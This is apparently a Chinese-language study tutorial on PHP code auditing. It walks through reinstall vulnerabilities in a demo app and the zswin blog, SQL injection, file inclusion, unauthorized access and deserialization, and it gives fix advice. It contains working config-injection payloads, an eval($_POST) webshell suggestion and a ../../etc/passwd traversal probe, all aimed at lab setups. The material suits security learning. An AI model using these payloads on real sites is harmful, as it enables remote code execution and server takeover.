PHP代码审计


? title: PHP代码审计

审计前的准备

编辑器:

  • sublime text
  • notepad++
  • PHPStorm + Xdebug
  • 一些其他的编辑器

审计辅助插件

  • Seay源代码审计系统
  • RIPS
  • 正则调试器
  • 超级加解密转换工具

开始之前:

1、DVWA靶场练习

2、CTF中一些代码审计相关的题

? 南邮CTF

? Bugku CTF

多看看别人代码审计的文章

通读全文的方法

  • index文件,index文件时一个程序的入口文件。所以通常我们只要读一读index文件就可以大致了解整个程序的架构,运行的流程,包含的文件,建议最好先将几个核心目录的index文件都简单读一遍
  • 函数集文件,一般在index文件中都会包含函数集文件,通常命名为functions,common等关键字,这些文件都是一些公共的函数,提供给其他文件统一调用
  • 配置文件,通常命名中包括config关键字。里面包含一些功能性配置选项以及数据库配置信息,还可以注意下参数值使用单引号还是双引号
  • 安全过滤文件,文件过滤文件对我们做代码审计至关重要,关系到我们挖掘到的可以点能不能利用,通常命名中有filter,safe,check等关键字,这类文件主要是对参数进行过滤。

敏感函数回溯参数过程

直接使用工具可以扫出一些敏感的参数

例如,通过select、insert 结合from和where等关键字,判定是一条SQL语句,然后通过对字符串的识别,判断这个SQL语句里边的参数有没有拼接或者单引号过滤

HTTP头里面的HTTP_CLIENT、HTTP_X_FORWARDFOR等获取到的IP地址,经常没有过滤就直接凭借到SQL语句中,并且因为实在$_SERVER变量中,不受GPC的影响,因此可以查找HTTP_CLIENT、HTTP_X_FORWARDFOR关键字来快速寻找漏洞

定向功能的分析:

  • 程序初始安装
  • 站点信息泄露
  • 文件上传
  • 文件管理
  • 登录认证
  • 数据库备份恢复
  • 找回密码
  • 验证码

代码审计之重装漏洞

漏洞复现

访问 http://127.0.0.1/install/install.php

提交数据库信息,用brupsuite抓包。(为了便于演示,我将header()语句注释了)

POST /install/install.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/install/install.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
Connection: close
Cookie: PHPSESSID=jfjge50g22ieqm7ib5ia1quf73
Upgrade-Insecure-Requests: 1

dbhost=localhost&dbuser=root&dbpass=root&dbname=vauditdemo&Submit=%E5%AE%89%E8%A3%9D

将dbname修改为:

testdb;-- -";phpinfo();//

提交。

1_install_success.jpg

跳转到index之后可以看到phpinfo()信息

1_phpinfo.jpg

复现成功

代码分析

平台的install.php安装页面, 安装之前会有一段验证是否已经安装的判断语句:

if ( file_exists($_SERVER["DOCUMENT_ROOT"].'/sys/install.lock') ) {
	header( "Location: ../index.php" );
}

判断安装生成的lock文件是否存在,如果存在,就重定向到index.php

但是这里存在一个错误,当页面重定向到index之后,并没有执行exit语句来结束进程,所以install.php的进程一直存在。这时如果用brupsuite抓包,提交的数据会被判断语句之后的代码所执行,就会导致重装漏洞。

判断语句后,获取了一些环境信息之后就通过POST方法获取数据库的信息。

(代码经过省略)

if ( $_POST ) {

	...

	$dbhost = $_POST["dbhost"];
	$dbuser = $_POST["dbuser"];
	$dbpass = $_POST["dbpass"];
	$dbname = $_POST["dbname"];

	...

	mysql_query( "CREATE DATABASE $dbname", $con ) or die ( mysql_error() );

	$str_tmp="<?php\r\n";
	$str_end="?>";
	$str_tmp.="\r\n";
	$str_tmp.="error_reporting(0);\r\n";
	$str_tmp.="\r\n";
	$str_tmp.="if (!file_exists(\$_SERVER[\"DOCUMENT_ROOT\"].'/sys/install.lock')){\r\n\theader(\"Location: /install/install.php\");\r\nexit;\r\n}\r\n";
	$str_tmp.="\r\n";
	$str_tmp.="include_once('../sys/lib.php');\r\n";
	$str_tmp.="\r\n";
	$str_tmp.="\$host=\"$dbhost\"; \r\n";
	$str_tmp.="\$username=\"$dbuser\"; \r\n";
	$str_tmp.="\$password=\"$dbpass\"; \r\n";
	$str_tmp.="\$database=\"$dbname\"; \r\n";
	$str_tmp.="\r\n";
	$str_tmp.="\$conn = mysql_connect(\$host,\$username,\$password);\r\n";
	$str_tmp.="mysql_query('set names utf8',\$conn);\r\n";
	$str_tmp.="mysql_select_db(\$database, \$conn) or die(mysql_error());\r\n";
	$str_tmp.="if (!\$conn)\r\n";
	$str_tmp.="{\r\n";
	$str_tmp.="\tdie('Could not connect: ' . mysql_error());\r\n";
	$str_tmp.="\texit;\r\n";
	$str_tmp.="}\r\n";
	$str_tmp.="\r\n";
	$str_tmp.="session_start();\r\n";
	$str_tmp.="\r\n";
	$str_tmp.=$str_end;

	$fp=fopen( "../sys/config.php", "w" );
	fwrite( $fp, $str_tmp );
	fclose( $fp );

可以看到,页面通过所提交的dbhost, dbuser, dbpass, dbname来获取数据库基本信息。

在判断数据库信息是否符合安装条件之后,页面将一段判断是否已经安装的php脚本写入到config.php里。

问题出在其中的一条语句:

$str_tmp.="\$database=\"$dbname\"; \r\n";

可知,dbname是可控的。

当我们将dbname设置为:

testdb;-- -";phpinfo();//

-- -     是为了注释掉后面的sql语句
";        闭合php语句
//        注释掉后面的php语句

config.php里的语句就会变成:

$database="testdb; -- -"; phpinfo();//";

也就会执行phpinfo(), 当我们把phpinfo()修改为:eval($_POST['abc'])就可以直接getshell;

zswin博客重装漏洞 getshell 复现

在百度上直接搜到的一个重装漏洞,博客系统有点老了,但是拿来学习还是不错的。

参考:https://shuimugan.com/bug/view?bug_no=119025

漏洞复现

在已经安装好的博客,直接访问:

http://127.0.0.1/zwin/install.php?m=install&c=index&a=setconf

不会跳转到主页,直接进入安装向导页面。

其他地方正常填写,将数据表前缀改为:

zs_');phpinfo();//

2_tianxie.jpg

点击下一步,数据库就可以创建成功

2_chuangjianxchenggong.jpg

之后再访问:

http://127.0.0.1/zwin/app/user/conf/config.php

2_config.jpg

可以看到phpinfo(),把phpinfo()修改为:eval($_POST['abc'])就可以直接getshell;

漏洞复现成功

代码分析

存在漏洞的页面:

install/install/controller/indexcontroller.class.php

页面开头存在一个index()方法用于判断是否安装成功:

   public function index(){
   if (is_file('./Data/install.lock')) {
	header('Location: ./index.php');
	exit;
}

根据参考文章的说法:

但是这个不是类的初始化函数所以不影响其他方法的使用。

我在页面当中没有找到引用index()方法的语句,应该是ThinkPHP框架的一些固定用法吧。这个问题等后面学习了ThinkPHP框架后再说。

继续往下看。

public function finish_done() {
		...

		$auth  = build_auth_key();
		
		$config_data['DB_TYPE'] = $temp_info['db_type'];
		$config_data['DB_HOST'] = $temp_info['db_host'];
		$config_data['DB_NAME'] = $temp_info['db_name'];
		$config_data['DB_USER'] = $temp_info['db_user'];
		$config_data['DB_PWD'] = $temp_info['db_pass'];
		$config_data['DB_PORT'] = $temp_info['db_port'];
		$config_data['DB_PREFIX'] = $temp_info['db_prefix'];
		$db = Db::getInstance($config_data);
		$config_data['WEB_MD5'] = $auth;
		$conf 	=	write_config($config_data);
		
		...
	}

可知,在finish_done()方法中,有一个函数为write_config(),所传递的参数为数据库配置信息。

而这些数据配置信息,都没有经过过滤或检查。都是直接接收POST数据来进行传递的。

跟踪这个函数至:install/install/common/function.php

function write_config($config, $auth){
	if(is_array($config)){
		//读取配置内容
		$conf = file_get_contents(MODULE_PATH . 'sqldata/conf.tpl');
		$user = file_get_contents(MODULE_PATH . 'sqldata/user.tpl');
		//替换配置项
		foreach ($config as $name => $value) {
			$conf = str_replace("[{$name}]", $value, $conf);
			$user = str_replace("[{$name}]", $value, $user);
		}

		//写入应用配置文件
        file_put_contents('./App/Common/Conf/config.php', $conf);
        file_put_contents('./App/User/Conf/config.php', $user);
		return '';
	}
}

可知,函数的功能是读取sqldata目录下的两个配置文件,将传递进来的数据库配置信息分别写入到两个config.php里去。

先看一下user.sql:

<?php

/**
 * UCenter客户端配置文件
 * 注意:该配置文件请使用常量方式定义
 */

define('UC_APP_ID', 1); //应用ID
define('UC_API_TYPE', 'Model'); //可选值 Model / Service
define('UC_AUTH_KEY', '[WEB_MD5]'); //加密KEY
define('UC_DB_DSN', '[DB_TYPE]://[DB_USER]:[DB_PWD]@[DB_HOST]:[DB_PORT]/[DB_NAME]'); // 数据库连接,使用Model方式调用API必须配置此项
define('UC_TABLE_PREFIX', '[DB_PREFIX]'); // 数据表前缀,使用Model方式调用API必须配置此项
?>

除了DB_NAME, DB_PREFIX可以修改以外,修改其他的数据配置会导致数据库创建失败。

所以,这里可以利用的就存在两处

将DB_NAME赋值为:

zswin1]');phpinfo();//

或者将DB_PREFIX赋值为:

zs_');phpinfo();//

都可以利用成功。

/App/User/Conf/config.php就会变成:

Copydefine('UC_DB_DSN', 'mysql://root:root@127.0.0.1:3306/zswin1]');phpinfo();//'); // 数据库连接,使用Model方式调用API必须配置此项

//或者

define('UC_TABLE_PREFIX', 'zs_');phpinfo();//'); // 数据表前缀,使用Model方式调用API必须配置此项

sqldata/conf.tpl也是一样的步骤,只不过user.tql可以更容易闭合语句。

重装漏洞修复建议

  • 正确处理lock文件【lock文件用于检查是否已经安装完成】
  • 判断安装完成后要退出【有一个exit语句,退出进程】
  • 在安装的每一步都需要验证【在安装过程的每一个页面都需要验证】
  • 对所有输入点进行过滤

代码审计之sql注入

防止SQL注入

数据处理函数

  • mysqli_real_escape_string(connection,escapestring):转义在SQL语句中使用的字符串中的特殊字符。escapestring要转义的字符串。编码的字符是NUL(ASCLL 0)、\n 、\r 、 ' 、" 和 Control-Z
  • addslashes()函数返回在预定义字符之前添加反斜杠则字符串。返回在预定义字符之前添加反斜杠的字符串。预定义字符是: ' " \ NULL
  • stripslashes()与addslashed()函数相反
  • preg_match(pattern,subject......)搜索subject 与pattern给定的正则表达式的一个匹配

SQL注入漏洞审计流程

  • 在seay中开启查询日志(审计插件中的MySQL监控)
  • 查找系统的输入点,尝试输入一些内容并执行
  • 跟随输入信息,判断输入的内容是否被过滤,是否可利用
  • 构造注入语句进行测试

寻找输入点的方法:

1、表单提交,主要是POST请求和GET请求

2、URL参数提交,主要是GET请求参数

3、Cookie参数提交

4、HTTP请求头部的一些可修改的值,比如Referer、User_Agent等。

5、一些边缘的输入点,比如.jpg文件的一些文件信息等

thinkphp是一个基于MVC模式的框架

MVC模式:软件工程中的一种软件架构,把软件系统分为了三个部分:模型(M)【处理从视图部分所输入的数据】、视图(V)、控制器(C)

什么是模型-视图-控制器(MVC)
a、模型(Model)
  模型是应用程序的主体部分。模型表示业务数据,或者业务逻辑.
b、视图(View)
  视图是应用程序中用户界面相关的部分,是用户看到并与之交互的界面。
c、控制器(controller)
  控制器工作就是根据用户的输入,控制用户界面数据显示和更新model对象状态。

PHP代码审计之文件包含

手工探测

1、在路径中添加abc/../ 看是否可以回溯

? http://127.0.0.1/download.php?filename=xxx.doc

2、修改为http://127.0.0.1/download.php?filename=abc/../xxx.doc

? 如果两次下载文件相同,则继续下面的测试

3、确定是否可以下载任意文件

? http://127.0.0.1/download.php?filename=../../../../etc/passwd

未授权访问漏洞

用户认证

检查代码进行用户认证的位置,是否能够进行绕过认证,例如:登录代码可能存在表单注入

检查登录代码有无使用验证码等防止爆破的手段

检查session的时效性,防止因为一个session的长久有效不销毁,而导致的验证码、密码、用户名破解成为可能

函数或文件的未认证调用

一些管理页面是禁止普通用户访问的,有时开发者会忘记对这些文件进行权限验证,导致漏洞发发生

某些页面使用参数调用功能,没有经过权限认证,如:index.php?action=upload

密码问题

有的程序会把数据库连接账户和密码直接写入到数据库连接函数中

修复建议

  • 加入用户身份认证机制(session、cookie)或token验证
  • 对系统的功能点增加权限控制
  • 敏感操作限制IP
  • 服务器作访问限制

反序列化漏洞

序列化: 可以理解为把一个对象变成一个可以传输的字符串 JSON格式就是一种序列化【把数组类型的序列化为一个字符串】

在php中,可以对数组,变量,对象等进行序列化(静态变量,常量不会被序列化)

通过序列化与反序列化我们可以很方便的在PHP中进行对象的传递。本质上反序列化是没有危害的。但是如果用户对数据可控那就可以利用反序列化构造payload攻击。

反序列化可以控制类属性,无论是private还是public

漏洞的成因

PHP将所有以__(两个下划线)开头的类方法保留为魔术方法,所以在定义类方法的时候,除了下述的魔术方法,建议不要以 __为前缀

常见的魔术方法:

  • __construct() 当一个对象创建时被调用
<?php
class Test{
	var $test = "demo";
	function __construct(){
		echo $this->test;
	}
}
$a = new Test;
?>
  • __destruct() 当一个对象销毁时被调用
<?php
class Test{
	var $test = "demo";
	function __destruct(){
		echo $this->test;
	}
}
$a = new Test;
?>
  • __toString() 当一个对象被当作一个字符串时使用
<?php
class Test{
	var $test = "demo";
	function __toString(){
		echo $this->test;
		return "hello world";
	}
}
$a = new Test;
echo $a;#把a当作字符串输出,触发__toString函数并且执行
?>
  • __sleep() 在对象被序列化之前运行
<?php
class Test{
	var $test = "demo
"; function __toString(){ echo $this->test; return "hello world"; } function __sleep(){ echo "ready to serialize"; } } $a = new Test; $b = serialize($a); #进行序列化,执行__sleep函数 echo '
'; var_dump($a); ?>
  • __wakeup() 将在反序列化之后被调用
<?php
class Test{
	var $test = "demo
"; function __toString(){ echo $this->test; return "hello world"; } function __wakeup(){ echo "it has been Deserialization".'
';//当进行反序列化的时候调用该函数并输出 } } $a = new Test; $b = serialize($a); $c = unserialize($b); echo $c; ?>

PHP类中的特殊属性

? 序列化为了能把整个类对象的各种信息完整的压缩,格式化,也会将属性的权限序列化进去。但是不同类型的属性会有不同的格式

  • 1、Public权限
    • 可以内部调用,实例调用等
  • 2、Private权限
    • 被private修饰的只能是同一个类可以访问
  • 3、Protected权限
    • 对继承的类开放,没继承的类不开放

序列化只是序列化属性,不序列化方法

PHP